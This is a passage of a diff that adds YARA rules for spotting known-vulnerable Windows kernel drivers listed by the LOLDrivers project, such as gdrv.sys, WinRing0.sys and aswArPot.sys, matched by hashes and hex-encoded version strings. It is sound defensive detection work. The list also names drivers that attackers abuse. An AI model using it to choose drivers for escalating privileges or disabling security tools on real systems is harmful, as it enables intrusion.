+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_2BBE {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2bbe65cbec3bb069e92233924f7ee1f95ffa16173fceb932c34f68d862781250"
+		hash = "e68d453d333854787f8470c8baef3e0d082f26df5aa19c0493898bcf3401e39a"
+		date = "2023-06-14"
+		score = 40
+		id = "fbe65027-5e7a-5944-bd8a-c0673cd165a1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d0053004900530069006d0070006c0065005f004f0043 } /* FileDescription NTIOLibForMSISimpleOC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_092D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "092d04284fdeb6762e65e6ac5b813920d6c69a5e99d110769c5c1a78e11c5ba0"
+		hash = "0ce40a2cdd3f45c7632b858e8089ddfdd12d9acb286f2015a4b1b0c0346a572c"
+		date = "2023-06-14"
+		score = 40
+		id = "89160c3c-ff81-5425-a205-09be7fd5a412"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_62F5 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "62f5e13b2edc00128716cb93e6a9eddffea67ce83d2bb426f18f5be08ead89e0"
+		hash = "ee3ff12943ced401e2b6df9e66e8a0be8e449fa9326cab241f471b2d8ffefdd7"
+		date = "2023-06-14"
+		score = 40
+		id = "e66960f5-d39e-5b0b-b573-77ffeb276925"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003000390039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Yyinc_Dianhu_80CB {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Dh_Kernel_10.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "80cbba9f404df3e642f22c476664d63d7c229d45d34f5cd0e19c65eb41becec3"
+		hash = "bb50818a07b0eb1bd317467139b7eb4bad6cd89053fecdabfeae111689825955"
+		date = "2023-06-14"
+		score = 40
+		id = "166a402d-9679-54b8-9703-3e3b2b001236"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006400690061006e00680075 } /* FileDescription dianhu */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0059005900200049006e0063002e } /* CompanyName YYInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00390039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00390039 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006400690061006e00680075 } /* ProductName dianhu */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d003200300031003700200059005900200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightYYIncAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8F68 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8f68ca89910ebe9da3d02ec82d935de1814d79c44f36cd30ea02fa49ae488f00"
+		hash = "c8eaa5e6d3230b93c126d2d58e32409e4aeeb23ccf0dd047a17f1ef552f92fe9"
+		date = "2023-06-14"
+		score = 40
+		id = "6a773b61-ac40-5cdd-ad93-0b16061587f7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003600200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_A5A5 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a5a50449e2cc4d0dbc80496f757935ae38bf8a1bebdd6555a3495d8c219df2ad"
+		date = "2023-06-14"
+		score = 40
+		id = "b68851b2-66b6-5b8a-9aaa-918a34934a92"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_591B {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "591bd5e92dfa0117b3daa29750e73e2db25baa717c31217539d30ffb1f7f3a52"
+		date = "2023-06-14"
+		score = 40
+		id = "b4f581f6-66e5-5b85-9b2d-b1532dd2defe"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d005300490052006100740069006f005f00430043 } /* FileDescription NTIOLibForMSIRatioCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Openlibsysorg_Winringsys_Winring_47EA {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "47eaebc920ccf99e09fc9924feb6b19b8a28589f52783327067c9b09754b5e84"
+		hash = "3ec5ad51e6879464dfbccb9f4ed76c6325056a42548d5994ba869da9c4c039a8"
+		date = "2023-06-14"
+		score = 40
+		id = "b14e5697-a0f7-5af0-a0da-0f5ca2d88c1c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 } /* FileDescription WinRing */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 } /* CompanyName OpenLibSysorg */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 } /* InternalName WinRingsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 } /* ProductName WinRing */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 } /* OriginalFilename WinRingsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCOpenLibSysorgAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_6532 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd"
+		date = "2023-06-14"
+		score = 40
+		id = "b9a6e1e6-1bc5-587f-a31f-8dc55568ad9e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 } /* FileDescription SEGWindowsDriverx */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e } /* CompanyName InsydeSoftwareCorp */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 } /* InternalName segwindrvxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 } /* ProductName SEGWindowsDriverx */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 } /* OriginalFilename segwindrvxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310035002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightcInsydeSoftwareCorpAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_909D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "909de5f21837ea2b13fdc4e5763589e6bdedb903f7c04e1d0b08776639774880"
+		date = "2023-06-14"
+		score = 40
+		id = "8dcbf930-ae97-5389-9b68-793dc82b042b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300032003000200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Atitechnologiesinc_Atillksys_Atidiagnostics_AD40 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - atillk64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173"
+		hash = "38bb9751a3a1f072d518afe6921a66ee6d5cf6d25bc50af49e1925f20d75d4d7"
+		hash = "5c04c274a708c9a7d993e33be3ea9e6119dc29527a767410dbaf93996f87369a"
+		date = "2023-06-14"
+		score = 40
+		id = "f5e53c71-1c12-5df8-a2cc-563473190c87"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410054004900200044006900610067006e006f007300740069006300730020004800610072006400770061007200650020004100620073007400720061006300740069006f006e0020005300790073 } /* FileDescription ATIDiagnosticsHardwareAbstractionSys */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e } /* CompanyName ATITechnologiesInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 } /* InternalName atillksys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004900200044006900610067006e006f00730074006900630073 } /* ProductName ATIDiagnostics */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 } /* OriginalFilename atillksys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e002c00200032003000300033 } /* LegalCopyright CopyrightCATITechnologiesInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0CD4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0cd4ca335155062182608cad9ef5c8351a715bce92049719dd09c76422cd7b0c"
+		date = "2023-06-14"
+		score = 40
+		id = "6ee8fb67-896d-534f-9602-a0f46a43e5cd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Novellinc_Novellxtier_E16D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e16dc51c51b2df88c474feb52ce884d152b3511094306a289623de69dedfdf48"
+		hash = "e6056443537d4d2314dabca1b9168f1eaaf17a14eb41f6f5741b6b82b3119790"
+		hash = "ab0925398f3fa69a67eacee2bbb7b34ac395bb309df7fc7a9a9b8103ef41ed7a"
+		hash = "da11e9598eef033722b97873d1c046270dd039d0e3ee6cd37911e2dc2eb2608d"
+		date = "2023-06-14"
+		score = 40
+		id = "73d525b8-d109-5872-8841-b1c5149f732e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 } /* FileDescription NovellXTCOMServicesDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 } /* OriginalFilename libnicmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_3FA6 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3fa6379951f08ed3cb87eeba9cf0c5f5e1d0317dcfcf003b810df9d795eeb73e"
+		date = "2023-06-14"
+		score = 40
+		id = "25f27f08-3aab-5b8f-bf59-37a40de4fb44"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000370037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 } /* ProductName TrendMicroAEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3E1D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3e1d47a497babbfd1c83905777b517ec87c65742bee7eb57a2273eca825d2272"
+		date = "2023-06-14"
+		score = 40
+		id = "d8d61d0b-d859-5e7e-9ef6-b232ab499560"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100310033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6FB5 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
